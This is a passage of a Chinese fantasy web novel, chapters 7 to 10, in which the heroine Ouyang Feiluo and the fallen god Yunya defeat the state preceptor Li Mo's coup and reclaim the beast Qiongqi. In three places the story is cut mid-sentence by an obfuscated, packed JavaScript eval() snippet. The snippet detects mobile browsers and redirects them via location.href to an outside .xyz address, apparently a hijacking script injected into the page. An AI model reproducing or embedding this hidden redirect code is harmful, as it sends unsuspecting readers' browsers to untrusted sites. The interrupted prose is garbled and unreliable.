黑衣人笑了,他道:“你不是想夺权么,那就从帝王身边的近臣杀起,一能震慑皇权,二能铲除异己,岂不美哉?” 李墨一双凤眸转了转:“你到底是谁?有何目的?为何能趋使妖兽?” 黑衣人:“知道的太多对你没有任何好处,现在你只需要告诉我你的回答。” 李墨见询问无果,索性不再追问,除了极致的权威,他对任何人事物都缺乏兴致,只要于他有利,是神是鬼都无妨,他照单全收。 “可以,”李墨答:“成交。” 影像至此结束。 欧阳绯珞:“所以陛下想的没错,真的有人想篡权夺位,而那个人就是当朝国师!” 云崖却冷静不少,他提醒道:“先收复穷奇吧,那种事不是我们能管得了的。” 这话不无道理,欧阳绯珞定下心,摊开天书,口中念道:“天书敕令,收汝归形。”下一瞬,天书散发出金光将幼年穷奇笼罩,使其漂浮到空中。 “封!” 一声令下,穷奇缩小化为一束金光,瞬间投入了天书内页。 自此,无字天书空白页上多了一张妖兽图。 欧阳绯珞抚摸着那一页,心中激动万分,眼角眉梢都是笑意,她难得暂时卸下包袱冲云崖道:“云崖,谢谢你。” 两人相遇后,这是云崖第一次见她对自己露出发自内心的,毫无防备的笑,那笑容太灿烂,让他颇不适应,他扭头轻咳一声:“你开心就好。” 欧阳绯珞还想再说什么,大门外却传来一声通报:“国师大人到——” “国师?”欧阳绯珞疑道:“李墨?他来做什么?” 云崖剑眉微皱,他拍拍欧阳绯珞肩膀道:“先去迎驾,别慌,万事有我呢。” 这话实在亲密,听得欧阳绯珞浑身不自在,她下意识应了一声,随后两人架起程冰,前往正厅迎客。 7. 第七章 程府正厅 程冰一拱手:“李大人,大晚上的,什么风把您吹来了?” 李墨凤眸微挑,上下打量程冰一番,嫌弃地用摇扇挡住了口鼻。 程冰刚刚吓得不轻,浑身像被水过了一遍,想必是汗味熏到这位人物了,但他面上仍维持得体的笑:“李大人,请坐。” 李墨入座后道:“呦,程大人这是刚出浴吗?怎的湿成这样?” 程冰佯装擦汗:“刚和家仆玩蹴鞠,听闻大人大驾,未换衣装就赶来,若是冒犯了大人,还望您多多海涵。” 李墨摆摆手,示意无碍,他摇着蒲扇漫不经心道:“程冰啊,你一个文官有闲心踢蹴鞠,却没时间批文,看来你也没把我这个国师放在眼里啊。” “大人何出此言?”程冰道:“您下派的公文,在下每晚都在批改,再需2天就可完工了,至于蹴鞠是因为每日批改公文导致腰酸体乏,这才叫上府里的人活动下筋骨。” “是吗?”李墨豹子似的眼睛紧盯程冰,把他看得起了一身鸡皮疙瘩,手不由得发起抖。 李墨识人的本事向来一流,他能通过神态判断对方是否撒谎,意料之中,程冰不是个好角儿。 “不用批了,”李墨道:“现在就呈上来吧。” 程冰:“现......现在?可是大人......” 程冰刚刚情急之下,把文书批完了就扔窗外去了,具体掉在哪他自己也不清楚。 李墨见他推诿,狡黠一笑:“程大人干嘛这样看着我,是想我帮你找吗?” “李念!”李墨不等程冰反应,提高音量:“进来!” 下一刻,下属手里捧着那本千岳录,风尘仆仆地进了正厅:“大人,小的查看过了,这本文书已经批改好了。” 完了,程冰僵在原地,大脑宕机,不知该如何收场。 李墨接过文书大致翻看一番,而后绿瞳上挑,单手撑下巴,一针见血道:“程冰,你为什么没死?“ “我......”程冰冷汗直冒,见事情败露,他逃也似地跑向后院! “嘭!” 李念摔炮为号,埋伏在程府周围的一众便衣蒙面士兵蜂拥而入,包围了整个程府! “大人有何吩咐?!” 李墨:“把程冰和那两个帮手找出来,记住要抓活的。” “是!” 数十号便衣士兵一手持刀,一手持盾,开始翻查程府,丫鬟家仆吓得躲在角落里,一声不吭。 不一会儿,“大人,找到程冰了!”,其中一名士兵揪着程冰后领,拎猫似的把它揪出来重重摔到地上。 李墨蹲下来,掐着他的下巴强迫对方抬头:“把你那俩帮手叫出来。” 程冰摔地满口是血,他咧嘴一笑,血沫子吐了李墨一脸。 “找死!”李墨气得把程冰的头踩到脚底,又从士兵手里抢过一把刀,对准其左手腕大声威胁道:“欧阳绯珞,我数到三,你若再不出来,程大人的左手可就保不住了!” “1......2......3!” 李墨刚要下手,突然一块石子飞过来,“叮“的一声弹飞了他手中的刀! “谁?” 士兵将李墨重重围在中央,一个个剑拔弩张的戒备模样。 “光天化日干这种勾当,您是国师还是土匪啊?”头上传来云崖轻佻的声音,李墨抬头一看,只见屋檐上躺着一男,站着一女,他认出那女人就是欧阳绯珞,兴奋道:“你可算舍得出来了。” 欧阳绯珞剑指李墨怒道:“贼子!还不就地伏诛!” 李墨哈哈大笑起来,像听见什么滔天笑话,他抹掉泪花道:“欧阳绯珞,你是蠢还是怎样,看不清现在的形势吗?” 没错,从正常人的角度看,双方人数差距过大,这场战争胜负已经分晓。 欧阳绯珞完全不理会他的挑衅,继续道:“国师李墨,意欲篡权夺位,今天我就替天行道,收了你这乱臣贼子!” 下一秒,她手拉长弓,瞬间射出数十发绯色箭光! “士兵听令,立盾!” 便衣士兵训练有素地将盾牌密密麻麻围了一圈,箭光俯一接触盾牌就被吸收殆尽,完全没造成任何杀伤力! “可恶!”欧阳绯珞收回长弓,手持长剑就要单枪匹马冲上去,被云崖一把拦腰抱住,他强迫欧阳绯珞和他面对面道:“对方显然有备而来,你的天书又不能用来攻击凡人,我们把程冰抢过来就撤,切勿恋战!” “嗯!”欧阳绯珞应声点头,两人冲向敌营! “杀!” 李墨一声令下,数十精锐兵士持刀迎战,云崖刚收回碎片,法力大涨,一掌下去能横扫半壁江山,但他不愿杀人,也不想替皇帝卖命参与这场荒唐的平反。于是他改持刀博弈,以让敌军倒地爬不起来为目标,几个回合下来,照样撂倒了一片。 另一边,欧阳绯珞执剑挑刺,三尺青虹撕开凝滞的空气,铁器相撞的脆响惊飞了檐上的麻雀,她每一剑都精准狠辣,在青石板上留下数道血色印记。 眼见要突破重围,李墨吩咐李念道:“去吧,速战速决。” “是!” 李念腾空跃起,翻身入围,对准欧阳绯珞后颈一箭射出! “当心!“云崖一甩刀堪堪将箭身劈成两半!就在这时,李念趁机从衣袖内掏出一粒药丸状的东西,朝着欧阳绯珞狠狠一摔! “嘭!” 药丸触地,烟雾缭绕,周围倒下一大半兵士。 云崖马上察觉不对,他捂紧口鼻后撤,并通过同命契提醒道“欧阳,这烟有毒,千万别吸进去!” 然而他并没有接收到欧阳绯珞的回应。 糟了! 云崖迅速从衣角扯下一块布围住半张脸,欺身冲了进去,然而烟雾太浓,再加上夜色已深,根本分不清谁是谁。 “哈哈哈!” 头顶传来一阵大笑,云崖听出来那是李墨。他飞身上了就近的杨树,还未看清声源地,只听嗖嗖几声,数道弓箭齐发直冲向云崖! 云崖执刀一一横扫,紧接着,只听斜上方传来李墨的声音:“想救她就带着符咒单独来国师府,我会等着你的。” “狗贼!看招!” 云崖一道金光打过去,却扑了个空。数道箭声划破长夜再度袭来,云崖闪避不及,右肩被一箭贯穿!他只能暂避到树后。烟雾渐渐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16161248|180646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 散去,只留下满院遍地哀嚎的兵士,一点欧阳绯珞的影子都没有。 云崖把箭拔出,盘腿在地,运功逼出箭毒和吸入的毒药,而后轻轻一抚肩膀,伤口便痊愈了。他看着自己掌心鲜血,不禁想:欧阳她肯定也中了箭伤,肯定很痛吧。又转念一想,自己已经把毒血逼出来了,相信她那边也已经无碍了。 “国师府吗?” 云崖嘴里嘀咕着,抓起一个还算清醒的士兵道:“喂,国师府怎么走?” 那士兵面色青紫,表情扭曲,明显是遭不住罪了,一张嘴全秃噜了出来:“一......咳咳......一直朝西走,就在皇宫附近。” 云崖见不得这种憋屈样,一掌把他劈晕扔地上不管了。 他飞檐走壁,在夜色的掩映下朝国师府前进。 另一边,因为同命契的关系,欧阳绯珞虽然中毒晕了过去,但云崖既已脱困,她自然也无碍了,朦朦胧胧间,她听李墨说道:“有什么办法吗?” “老夫才疏学浅,实在不知这收回去的妖兽要再如何放出来。” 李墨:“那怎么办,不收回这个分身,穷奇的真正实力根本发挥不出来。” 分身?欧阳绯珞想:难道她收复的只是一介分身,真正的穷奇还在他们手里? 李墨:“看来只有找她了。” 言罢,李墨推门而入来到床边,欧阳绯珞闭着眼,假装还处在中毒状态。 “把她绑起来,”李墨道:“绑紧点,一会儿解了毒别让她跑了。” “诺,”一众仆女拿着绳索上前,将欧阳绯珞扶起死死绑在木椅上。 李墨满意地点点头,吩咐道:“喂她解药。” 一个仆女手持酒杯,把解药喂给了她,欧阳绯珞喝了药,不一会儿就配合转醒了。 李墨摇着蒲扇笑道:“醒了?” 欧阳绯珞见动不了,佯装惊讶的样子道:“你把我绑起来做什么?” 李墨把天书扔到她怀里:“把穷奇放出来。” 欧阳绯珞:“我的职责只是收复妖兽,并不知道解放它们的办法。” “撒谎!”李墨逼近几分,绿幽幽的凤眸瞪着她,一只手抚上她的侧脸:“乖,听话,告诉我,你不希望你那相好死对不对?” “你什么意思?”欧阳绯珞被摸地起了一身鸡皮疙瘩,她厌恶地偏过头,虽然知道云崖已经脱险了,但听到对方的威胁她还是有一瞬的慌神。 李墨捕捉到她的动摇,狡黠地眯起眼:“他中了我的箭毒,一炷香的时间内不服用解药那是必死无疑。” “算算时间,也快到了。”李墨继续道:“你那相好会来找你吧?只要你同意放出穷奇,我就把解药给你,如何?” 欧阳绯珞抿着嘴假装露出考量的模样,而后她回答道:“可以,但你要先让我见他一面。” “准了。”李墨转身道:“来人,把欧阳大人连人带椅搬到门外,我们要亲自恭候。” “是!” 两个壮汉一人抬两个椅子腿,把欧阳绯珞抬到门外候着,李墨也立于身侧。 没多久,仆人上报:“大人,那人来了。” 李墨:“开门迎客!” 8. 第八章 大门打开,院内站了一排便衣兵士,云崖悠哉悠哉地晃了进去,见欧阳绯珞被五花大绑,他皱了皱眉,明显心情不悦,却马上收回情绪道:“国师大人,这就是你的待客之道吗?” 云崖虽然伤口已经痊愈,但他留了个心眼,肩上包了几条布伪装。 李墨见他肩膀被鲜血染红,得意道:“不错,知道惜命,你再来晚点,死的是谁就说不准了。” 云崖听出了对方的言外之意,他配合道:“什么条件,说吧。” 李墨:“为了你的小命着想,让她把穷奇解放,我给你解药,如何?” 云崖:“我若不答应呢?” 李墨闻言双眸沉冷,他右手一把掐住欧阳绯珞的咽喉,连人带椅拎了起来:“那就让她跟你陪葬。” 欧阳绯珞挣扎着:“狗贼,放开我!” 李墨微眯着眼,时间就快到了,这个男人再能打又如何,他中了自己的特制箭毒,马上会七窍流血,毒发身亡。至于欧阳绯珞,哼,他有一百种方法逼她就范! 三,二,一。 本以为胜券在握,可谁知云崖不仅没倒地身亡,反倒一个闪现出现在李墨身边! “什么?” 他速度太快,护卫还未反应,只听一声脆响,李墨发出惨烈的尖叫。 他的右臂腾空转了一圈,软趴趴地垂在腰侧,断了。 云崖又一掌劈烂绑在欧阳绯珞身上的木椅,抱着她飞身到了屋顶。 “大人!” 士兵们蜂拥上前,全部围堵在李墨周围,却没一个敢追上去。 “你还好吗?”云崖解开绳索,将欧阳绯珞垂落的发丝拢到耳后。 “我没事,”欧阳绯珞从云崖怀中起身,避开肢体接触道:“天书还在他手里。” 正说着,李念持刀带一众身穿盔甲的士兵出现,欧阳绯珞定睛一看,那装扮正是大胤玄甲军! 难道说,不仅大理寺,连玄甲军都成为李墨的部下了吗? 欧阳绯珞和云崖对视一眼,云崖:“先撤。” “嗯。” 现在拼杀没有意义,重要的是把情况告知皇帝,时刻备战。 两人纵身一跃消失在了夜色里。 李墨捏着断臂目眦尽裂,他恨道:“李念,杀了他们!” 李念半跪在地:“大人,这可是皇城脚下,臣,恐生异变。” 李墨:“箭在弦上不得不发!你以为今日不杀他们,消息就能瞒过皇帝老儿吗?人算不如天算,我李墨今日就要杀到承天门!李念听令!” 李念:“臣在!” 李墨:“率玄甲军攻打皇城,是生是死,就看今夜!” “是!” 李念一掀衣摆,带领玄甲军浩浩汤汤地攻向皇城。 皇宫,藏书阁。 徐公公:“陛下,欧阳大人有急事求见。” 皇帝:“宣。” 徐公公:“诺。” 须臾,欧阳绯珞和云崖进了大殿,欧阳绯珞拱手道:“陛下,臣已查明,国师李墨勾结玄甲军意图造反,现在已经攻向城池了!” 皇帝却是一副意料之中的表情,他道:“我方玄甲军也恭候多时了。” “我方?”欧阳绯珞愣了,难道...... “你想的没错,”皇帝叹息一声:“朝廷动荡,玄甲军内部也生了异心,李墨趁虚而入,设计招揽了一批新生力量归于他麾下,不过别担心,精锐部队还效力于朝廷。” “也就是说玄甲军从内部割裂了。”云崖难得开口:“那您之前迎合李墨是为了......” 皇帝无奈道:“李墨勾结大理寺,两方不仅割裂玄铁军,还从民间招揽了一批能人异士,为了查明官员横死的真相,拖延他起义的时间,朕只能表面遂了他的意,唉,委屈郑清了。” 云崖:“这么说,您这边也一直在盯着李墨和大理寺那边的动向?” 皇帝露出意味深长的笑:“青年,掌握身边人的动向是做为帝王的基本。”话锋一转,他又道:“但偶尔也有失利的时候。” 欧阳绯珞:“比如那几位大人横死吗?” 皇帝平和的脸上显出阴霾:“是啊,这朝堂太大,朕几双手难免有伸不过来的时候,可怜他们做了李墨的替死鬼。” “报——” 一前线将士半跪在地道:“陛下,叛军快将我军逼至城门,魏骞将军带兵突围,身重剧毒,恐怕要坚持不住了!” 欧阳绯珞难以置信:“怎会如此,我们不是有精锐部队吗?” 将士急切道:“敌方不仅有玄甲军,还有会术法的修士,我们实在力不能及!” 怎么办?三双眼睛齐刷刷盯向皇帝。 皇帝道:“通知前线,要他们撑住!援军马上到!” “是!臣告退!” 将士心怀希望,士气满满地冲了出去。 云崖打量皇帝神色开口:“陛下,容我多嘴,我们恐怕没有援军了吧。” 皇帝:“你们随我来。” 两人对视一眼,虽满心疑惑,但还是跟在皇帝身后,来到藏书阁东南角的书柜,皇帝把最里面的一本书拿出来,只听“哐啷”一声,一道暗门出现在三人面前。 “进去就知道了。” 说完,皇帝率先打开门走了进去,两人也一前一后进入暗门,出乎意料的是,里面通火通明,但弯弯绕绕,像走在一座巨大的迷宫。终于快到尽头,前方渐渐传来粗重的呼吸声,那不是某个人能发出的声响。 心中的猜测越发透明,欧阳绯珞紧跑几步,来到尽头,眼前呈现的是一只成年穷奇,它正温顺地躺在草垫上舔着毛发。 “别害怕,”皇帝道:“它现在很亲人,也很听话,不会伤害你们。” 云崖观察穷奇的双耳,并未发现青铜符咒,他歪嘴一笑:“所以我们收复的只是它的分身,真正的穷奇在陛下这里。” 欧阳绯珞释怀道:“之前听李墨的说法,我还以为穷奇在他手里,没想到陛下先我们一步,把穷奇救出来了。” 皇帝:“一个月前它还在李墨地下暗室关着,徐惩用了点小术法,把它运到我这里,并用幻术把一匹马变成了它,李墨最近抽不出身,不细看肯定发现不了。” 一切显而易见,云崖道:“陛下,您的意思是让穷奇帮您打这一仗?” 皇帝点头:“没错,为了朕的江山,只能涉险一试了。” 穷奇的力量不可估量,若是上场,肯定会大获全胜。 皇帝:“时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16161249|180646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不多了,青年,由你将它带到城门楼。” 云崖并不想掺和人类的纷争,更不想杀人,如今被命运的洪流冲刷至此,莫名的责任感让他没有选择,只能顺理成章点头:“好,交给我吧。” 他指尖一点穷奇鼻尖,一道金光闪过,穷奇化成一枚玉佩悬挂在云崖脖子上。 云崖攥紧玉佩,深吸一口气,准备前往。 “云崖,我也去。” 欧阳绯珞抓着云崖的手:“天书还在那贼人手里。” 云崖:“好。” 皇帝拍拍两人肩膀:“绯珞,云崖,一切看你们的了。” “嗯。“两人拜别皇帝,匆匆去往城楼。 另一边,由于主帅遭袭,即使是精锐部队也遭受了不小的打击,加上对方修士利用妖法霍乱人心,皇家玄甲军节节败退,眼见就要被逼至承天门! 李墨稳在大后方,面上满是得意,甚至在幻想自己夺位成功后当上帝王的模样,然而上天有好生之德,只听前方来报:“大人,承......承天门上是......是穷奇啊!” “什么!?” 穷奇不是还被关押在暗室吗?怎么会出现在这里,李墨吊着一条胳膊,用另一只手拍打着仿制的龙椅怒吼:“谁?是谁偷走了他!” 将士哆哆嗦嗦开口:“臣不知,但......欧阳绯珞和她相好在......在穷奇身边。” “欧阳绯珞!又是她!”李墨气到肝肠寸断,他想下令撤退,可是,一切都来不及了。 只听遥远的战场上传来尖利的声波,李墨下意识捂住耳朵,却还是被震地出了血,可想而知远方的将士会是什么下场。 李墨浑浑噩噩地掀开帐篷走了出去,一年轻的玄甲士兵拖着仅剩的半条腿爬到他脚下断断续续地开口:“我......我方将士不敌穷奇威力,已......全......全数化作齑粉。” 晴天霹雳,李墨低头看着奄奄一息的小将,突然抬脚踩住他受伤的腿,小将痛得发出哀鸣,而李墨满眼冰冷的恨意,他低声道:“他们都死了,你也去陪葬吧。” 说着手起刀落,眼见要砍断那小将的脖子,一把长剑飞来,堪堪刺穿了李墨的手臂。 啊啊啊啊—— 李墨再度发出尖叫,他跪坐在地,看着那熟悉的三尺青虹,心身被浇了个透心凉。 一道绯色身影缓缓来到他身前,一把拔出长剑,指着李墨道:“乱臣贼子李墨,你大势已去,还不快快归降!” 李墨成了个半残,他抬头看着欧阳绯珞近乎痴迷地问道:“为什么,你告诉我,我到底输在了哪?” 欧阳绯珞眼中难得闪过一丝悲悯与同情:“你只是输给了自己的欲\望。” 李墨仰天哈哈大笑起来,那笑声近乎癫狂,他长发散落一地,裂开森白的牙一字一句道:“是你阻止了我的大计,欧阳绯珞,下辈子我做鬼也不会放过你!” 言罢,他一个动作欺身上前,一剑穿了喉,当场死在了欧阳绯珞的青虹剑下。 欧阳绯珞拔出长剑,面色冷寂,云崖目睹了一切,长叹一声:“一个痴人罢了。” 天边蒙蒙亮,远处地平线泛起一层薄薄的鱼肚白,这场经历了一整夜的逼宫大战以敌方落败告终。 9. 第九章 李墨自戕倒地,衣袍内掉出一本金皮书卷,欧阳绯珞一甩剑上鲜血,定睛一看,发觉是被夺走的天书,她弯腰把书捡起,随后翻身上马,和云崖奔向承天门。 颠簸一路,眼见地平线上出现承天门影影绰绰的身影,本以为万事大吉,离得近了才发现,城墙之上站了一排便衣士兵,箭在弦上,齐齐对准欧阳绯珞和云崖。 “预备,发射!” 领头人发了号施令,只见数十发弓箭朝两人袭来! 欧阳绯珞面色苍白,她正欲持剑相持,身旁云崖掌间聚力,一道金色光团打出,将数十箭羽吞噬殆尽。 云崖:“皇帝老儿反悔了,他们见识了穷奇的威力,铁定打算拘禁它,长久为朝廷所用!” 欧阳绯珞啐了一口,牵着缰绳的手都在颤,她怒道:“可恶!我们被利用了!” 云崖一个飞身来到欧阳绯珞身后,两人同乘一匹马,他揽住她的腰,贴在耳边轻声道:“马跑得太慢,我带你飞上去。” 欧阳绯珞只觉得耳朵痒痒的,她来不及做出反应,就被云崖抱起来飞向高空。 “放——” 这次换成数十架炮弹,云崖一手抱着欧阳绯珞,一手夺过她的青虹剑,蓄力横扫千钧,将射来的数十发炮弹一一劈为碎末。 紧接着云崖一掌金光打出,将城楼上的士兵轰了个四仰八叉,两人跳上承天门,只见一旁的穷奇正被一蒙面人勒着脖子往楼下拽,对方显然没意料到这两人连炮弹都能直接劈裂,惊地臂上更加用力。云崖一个箭步冲上前将此人左肘一拧,蒙面人惨叫一声跪倒在地。 欧阳绯珞一把将蒙面人脸上的黑布扯掉,旋即一愣,面前的人竟是李念。 欧阳绯珞:“怎么是你?” 云崖也难得惊讶:“你为什么还活着?” 李念疼得咬破嘴角,他擦干渗出的鲜血急喘几声,冷笑道:“想不到吧,老子还活着!” 他从腰间掏出一物,准备往地上扔,云崖眼疾手快,劈手抢过那物,玩味地看着他:“同样的方法再用就不奏效了。” 李念:“狗彘!还给我!” 云崖冷哼一声,将那物从城楼扔了下去,那物俯一触地便嘭的一声爆成一团烟雾,将一旁的柳树熏成了残枝败柳。 云崖挑起李念的下巴:“说,你是如何活下来的?和那皇帝老儿有何牵扯?” 李念闭口不语,一双细长的眼睛怒瞪着云崖,大有豁出去的架势。 云崖正欲再言,忽然传来熟悉的声音:“李念,陛下嘱你卧底,你就是这样报答的?” 转身一看,竟是徐惩。 徐惩缓缓走来,向欧阳绯珞和云崖行一礼道:“两位大人别误会,陛下绝无私吞穷奇之意。” 云崖:“哦?那公公给咱们解释一下吧。” 徐惩陪笑道:“这李念本是陛下派到李墨身边的卧底,包括刚才那些袭击你们的士兵也是陛下派去的,所以才在此役免于一死,至于刚才的作为绝非陛下旨意。” 他踹了一脚李念严肃道:“想必是这厮见识了穷奇的威力,被猪油蒙了心,想占为己有,才转而有了刚刚的戏码。” 欧阳绯珞将信将疑,她蹲下凝视着李念:“确实如此吗?” 李念苦笑一声道:“时至今日,我既已成为阶下囚,真不真又有何区别。” 徐惩一招手:“来人,带走。” “是!” 一行人将李念拖了下去。 一旁欧阳绯珞无心再理会这桩荒唐事,她转而来到穷奇身边,将它身上的缰绳褪去,抚摸了几下它的头低声道:“这场闹剧也该结束了。” 她手捧天书,口中念诀,成年穷奇在一片金光中与书中的幼年穷奇重合,化为一道河边俯瞰图。 欧阳绯珞抚摸着那张图,心生欢喜,她望向云崖欢欣道:“这下可算完整了。” “嗯。“云崖也微笑着点了点头。 “咳咳,”徐惩适时打断:“两位大人保卫大胤有功,陛下有请二位前去大明宫领赏。” 云崖笑道:“赏就不必了,我们本为江湖游侠,四海为家,无需功名利禄,那只是负累罢了。” 欧阳绯珞点头道:“请公公转达陛下,朝堂之事我们本不该伸手,但还望陛下能尽快解了赵大人的禁,程大人被抓走也至今下落不明,这两人都遭受了无妄之灾,还望能多多体恤。” 徐惩一拱手表示同意。 两人拜别徐惩,在一缕晨光刺破天际线之际,骑马朝龙门客栈前去。 到达客栈已是红日三竿,事情终于归于平寂,欧阳绯珞难得放松下来,她按压了下胸口道:“云崖,自从我吸入那毒烟,就一直头痛恶心,你不是已经把毒排出来了吗?怎么还会这样?” 云崖无奈地摇摇头,叹了一口气道:“我是把毒排出来了,但已经被身体吸收的那部分是剥离不出来的。” 欧阳绯珞接受了这个事实,她以前是教书先生,读过一些药材书籍,转身上马道:“我出去一趟。”说完便风尘仆仆地走了。 云崖不明所以也无所谓,顺势进了屋。 大约两盏茶的功夫,欧阳绯珞就回来了,原来她去了药铺,配了不少解毒的药材,她将药材交给客栈小二,要他帮自己熬制,半个时辰后,小二将药汤端到了欧阳绯珞的客房。 “菊花,半边莲,连翘,枳椇子,葛花,甘草......” 欧阳绯珞一边数着单子上的药名,一边将汤药分成两碗,她端着其中一碗来到云崖房前敲了敲门:“云崖,开门。” “怎么啦?”云崖打开门一见是她,笑道:“稀客啊,什么风把你吹来了?” 欧阳绯珞没理他,闪身挤进了房间,她把汤药放在木桌上道:“喏,解毒的,喝吧。” 云崖闻到那浓浓的草药味整个人都不好了,他捏着鼻子退避三舍:“大小姐亲自为我熬药,在下不胜感激,但......还是免了吧!”说完他就施法将那汤药倒向了窗外,还把为数不多的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16161250|180646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几个窗户大敞四开。 欧阳绯珞也不恼,她瞪着圆圆的眼睛奇道:“没想到大名鼎鼎的堕神竟然怕苦。” 云崖干笑一声,抖了抖身上的鸡皮,明显尴尬于刚才的过激反应,他歪着头挠挠侧脸:“怎么,不允许吗?” 欧阳绯珞眼中闪过一丝狡黠:“这么名贵的药材,看来你是无福享受了。”说完就冲进了自己的房间,将桌上的汤药一饮而尽! “啊啊啊——“ 不远处传来云崖的哀嚎,见整到他了,欧阳绯珞心情大好,待她来到云崖的房间,只见本人正一屁股坐到地上,抱着一大桶水漱口。 “欧阳绯珞......噗......你这个歹毒的女人!”云崖苦地泛起生理性眼泪,眼圈泛起了红,连嗓音都喑哑了,他吐了一地水,衣服也沾湿了。 只见他面色扭曲,指着欧阳绯珞控诉道:“枉我还帮你收复妖兽,你就是这么报答我的?” 欧阳绯珞本来只是想试试同命契通五感的能耐有多强,没想到云崖反应这么大,她一下子也慌神了,手忙脚乱地就要把云崖扶起来:“抱......抱歉,我不知道你这么怕苦啊。” 云崖身量修长,体重本就不轻,加上地面湿滑,欧阳绯珞一个打滑摔了个仰面朝天,云崖顺势压在了她身上,两人侧脸相贴,看起来极为亲密。 二人衣衫尽湿,欧阳绯珞活了二十五年,头一遭和一个男人如此近距离接触,她感觉自己额上的汗都下来,下意识往旁边躲,可云崖把她包裹地密不透风,她根本动弹不得,甚至连呼吸都成问题了。 云崖被草药的苦味折腾地晕头转向,等意识回笼,意识到自己身下有人,欧阳绯珞已经憋地面色通红,满眼一言难尽。 “不......不好意思!”云崖蹭地起身,又慌里慌张地把欧阳绯珞拽起来。 欧阳绯珞身穿绯红外袍,里衣却是白色的,一沾水里面粉色的袜胸就透了出来,云崖视线转移,假装没看到,耳根却悄悄红了。 欧阳绯珞裹紧衣裳道:“现在你满意了?” 云崖自知理亏:“我......我也没想到会是这种走向啊。”他又灵机一动:“你让我喝苦药汤,我把你衣服弄湿,两方扯平了,不过......” 他捏着下巴思索片刻道:“男子汉大丈夫,就不和你计较了,哎呀愣着干嘛,你快把湿衣服换了,我帮你洗,给你赔罪,如何?” 欧阳绯珞盯着湿漉漉的云崖,他皮肤细腻又白皙,一双金瞳像两个灯笼挂在脸上,乌黑的发垂到腰际,薄唇长得有棱有角,鼻子高挺,剑眉入鬓,完全是个美人坯子。 呵,这个男人也过于耀眼了吧。她轻咳一声,微微偏过头,不再看云崖,随口答道:“那你还不快出去。” “呃......”云崖为难道:“这里貌似是我的房间吧。” ...... 空气静了几秒,欧阳绯珞突然弹了起来,涨红着脸,同手同脚地离开了云崖的房间。 10. 第十章 若要完全恢复,那药方欧阳绯珞需要连续喝7日,但看云崖那副受苦受难的样子,她良心实在不安,决定切断同命契共感再喝。 欧阳绯珞将湿衣服脱下,顺手扔进木盆里,决定自己抽空洗,虽然云崖帮了她不少忙,但他身世成谜,性格又变化多端,在她眼里对方的不确定性太强,即便他努力表现地再诚恳,再无害,那份骨子里的危险气息都是无法掩盖的。 况且,他们的关系也只是比初期缓和了些,实在没好到能洗对方贴身衣物的地步。 欧阳绯珞想:那人表面大度,背地里肯定偷偷取笑自己呢,若她真的把衣服交给他,不知道又要闹出什么笑话来,她才不上当呢。 欧阳绯珞□□,纤白的身影映在铜镜里,她看着镜子里的自己,由于共感未消,从心口到左侧锁骨那道青蓝星轨正闪着幽幽光亮,看起来美丽又诡异,她轻轻抚上那处的皮肤,除了温度略高于周围,没有什么不同。 那日彻骨的疼痛历历在目,这一切都提醒着她,堕神云崖只要认真起来,自己绝对无力反抗,那家伙伤害自己就像碾死一只蚂蚁一样轻松。 不得不防啊,她深吸一口气,把脑子里那份莫名的旖旎倒掉,找出一身灰色里衣加棕色外袍,这样就算浑身湿透,也不至于像刚才那样尴尬。 换好衣服,她走出房间,来到云崖身旁。 云崖正用麻布擦拭地面,见她来了道:“你衣服呢?” 欧阳绯珞:“我自己洗了,不劳烦你了。” “哦,”云崖见她又表现出拒人于千里之外的冷淡模样,一时心中烦闷,低着头继续擦地,也不再找话题。 “云崖,”欧阳绯珞蹲下来看着他:“我们复盘一下这两个案子吧。” 云崖闻言来了兴致,把麻布一甩,伸了个懒腰:“好啊,这事你怎么看?” 两人坐到桌前,欧阳绯珞插着手道:“这两次案件无疑都将矛头指向了神裔,似乎他们才是幕后真凶,而妖兽却是被利用,被构陷的一方。” 云崖眯起眼:“所以,你待如何?” 欧阳绯珞:“兹事体大,我必须把此事上报天帝,待他裁决。” 云崖讥笑道:“你想怎么做我无权干涉,不过提醒一句,你那所谓的天帝也不见得就是白的。” 欧阳绯珞心情沉重,若此事真的牵扯到天帝,她该怎么面对。她长叹一声:“走一步看一步吧。” 云崖冷哼一声,没了继续话题的兴致。 欧阳绯珞看着云崖的冷脸,经历了这两起案子,她不得不承认,没有这个堕神的帮助,她绝对无法活着走到现在这一步,而且,不知道是不是自己的错觉,云崖对自己的态度似乎柔和了一些,那么,自己是否也该主动抛出橄榄枝呢? “云崖,”欧阳绯珞试着开口:“既然你已经收回两枚神名碎片,那你有没有恢复一些记忆呢?” 